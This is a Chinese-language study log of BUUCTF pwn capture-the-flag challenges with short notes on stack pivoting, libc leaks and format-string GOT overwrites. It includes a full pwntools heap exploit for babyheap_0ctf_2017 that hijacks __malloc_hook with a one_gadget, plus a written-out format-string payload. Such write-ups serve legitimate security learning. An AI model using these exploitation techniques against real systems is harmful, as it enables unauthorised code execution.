目录
37、[BJDCTF 2nd]ydsneedgirlfriend2
LInux,我的ubuntu1604 libcsearch莫名其妙的坏了 用1804做可以
工会比赛那道题
我记得很清楚,考试前我pwn刚学到level3_x64这道题还没研究明白,只在虚拟机里存了WP,考试的时候遇到这道类似题,我就没会做,200分*0.8=160分
题目给了libc2.23文件,那么就是ubuntu16,不需要栈对齐,elf.symbols["main"]报错不知为何
泄露puts函数地址,然后走遍流程
.
21、babyheap_0ctf_2017
unsortedbin指向main_arena后想办法拿到fdbk所属堆块,得到libc地址,在构造fakechunk指向mallochook附近 构造7f大小fakechunk,得到后修改成one_gadget地址,在add(alloc)就可以了,挺费劲的感觉
漏洞点在fill函数,size没有限制,可以堆溢出
from pwn import *
p=remote('node3.buuoj.cn',25883)
libc=ELF('libc-2.23.so')
def alloc(size):
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
def fill(index,content):
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(len(content)))
p.recvuntil('Content: ')
p.send(content)
def free(index):
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))
def dump(index):
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: \n')
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
free(1)
free(2)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0,payload)
payload=p64(0)*3+p64(0x21)
fill(3,payload)
alloc(0x10)
alloc(0x10)
payload = p64(0)*3 + p64(0x91)
fill(3,payload)
alloc(0x80)
free(4)
dump(2)
main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x58
malloc_hook=main_arena - 0x10
libc_base=malloc_hook - libc.sym['__malloc_hook']
one_gadget=libc_base + 0x4526a
alloc(0x60)
free(4)
payload = p64(malloc_hook-0x23)
fill(2,payload)
alloc(0x60)
alloc(0x60)
payload=b'a'*0x13+p64(one_gadget)
fill(6,payload)
alloc(0x10)
p.interactive()
22、ciscn_2019_ne_5
看了别人的WP,交互比较多的情况下,lambda 是个好东西,像函数,写起来比函数简单
这道题没有binsh,有sh,因为有flush函数,学到了
23、铁人三项(第五赛区)_2018_rop
找到的libc选择1,其余失败
先泄露write地址,再返回main,利用write地址计算system和binsh地址 ,
24、ciscn_2019_s_3
理解的不是很好,在r12赋值那里
25、bjdctf_2020_babyrop
本地通了 ,远程没通 ,本地libc后有选项2.23,远程4个选项都是2.24 啥原因?因为我的libcsearch坏了,后来干脆提示无libc,只能先换个虚拟机做
libc选择4 2.23那个
26、pwn2_sctf_2016
整形溢出 -1绕过,get_n函数第二参数为无符号,之后常规libc
27、others_shellcode
28、[HarekazeCTF2019]baby_rop2
buf[v3 - 1] = 0; 这句话对payload没影响?
io.recvuntil('\x7f')[-6:] 地址7f开头 小端存储,
29、ez_pz_hackover_2016
30、ciscn_2019_es_2
考察栈迁移,还有io得注意那个send,诶,大意了 看半天没看出来,关于io的接收还是有很多要注意
可以看出buf大小0x28=40,可以溢出8字节
leave= 1、move esp,ebp 2、pop ebp
ret=pop eip
由于可溢出空间太小,只好用leave指令把栈转移到buf的开头。运行程序测试,可以看出ebp中保存的地址距离ebp本身的地址是0x10,那么ebp里的地址距离buf就是0x38,可以用print打印出ebp中保存地址,buf地址就能知道了,即buf_addr=u32(io.recv(4))-0x38
还不能用aaaa获取,结尾还得用不同字符,需要注意
vul函数执行完毕(leave+retn)后ebp就指向了buf起始地址,然后去执行vul函数返回地址leave+retn,关键点来了:再次执行leave后esp先指向了buf起始地址,pop ebp后ebp 指向了0x61616161(也不知道能不能报错不管他),esp指向了system,retn:pop eip执行system后面就正常了,完成精心构造
31、[Black Watch 入群题]PWN
溢出空间不够的情况下,考虑栈迁移,不过为啥这道题必须得是io.send ?sendline说啥就是过不去? io这里真的有够烦 也不知道什么时候该有换行什么时候没有
32、jarvisoj_level3
33、[BJDCTF 2nd]r2t4格式化字符串
把stackcheck改成后门函数地址,
可以看到buf偏移为6,对齐了,将checkgot地址改成后门0x400626,0x0626=1574 1574-0x40=1510,一次写两字节,反向存储,将40写在checkgot+2,0626写在checkgot(不知道理解的对不),反过来顺序写应该是不行,先写小数再写大数(%n特点决定的)
%64c%9$hn%1510c%10$hnaaa ,字符串长度21再来3个a凑齐3字节24,即偏移678,接下来就是偏移9checkgot+2和10checkgot ,这里一共写了0x28字节长度实际不用填充满0x38也是可以的
34、[BJDCTF 2nd]test
考察linux命令 全程看WP,查看过滤后剩余可用命令,x86_64比较可疑
ls /usr/bin |grep -v -E " ||||||"
35、jarvisoj_fm
同[第五空间2019 决赛]PWN5
36、jarvisoj_tell_me_something
这个溢出main函数 好像没有ebp?下次遇到main溢出再看看栈的信息把
37、[BJDCTF 2nd]ydsneedgirlfriend2
虽然是ubuntu18 有tcache但并没影响,uaf + add时没用指针数组,指针始终为girl0,第二次add的时候不会申请结构体chunk,直接申请内容chunk,先申请再删除在申请0x10就能把第一次的结构体chunk拿到,在编辑修改后门
38、jarvisoj_level4
同level3那道题,没啥说的
39、[V&N2020 公开赛]simpleHeap
40、bjdctf_2020_babystack2
-1绕过 没啥说的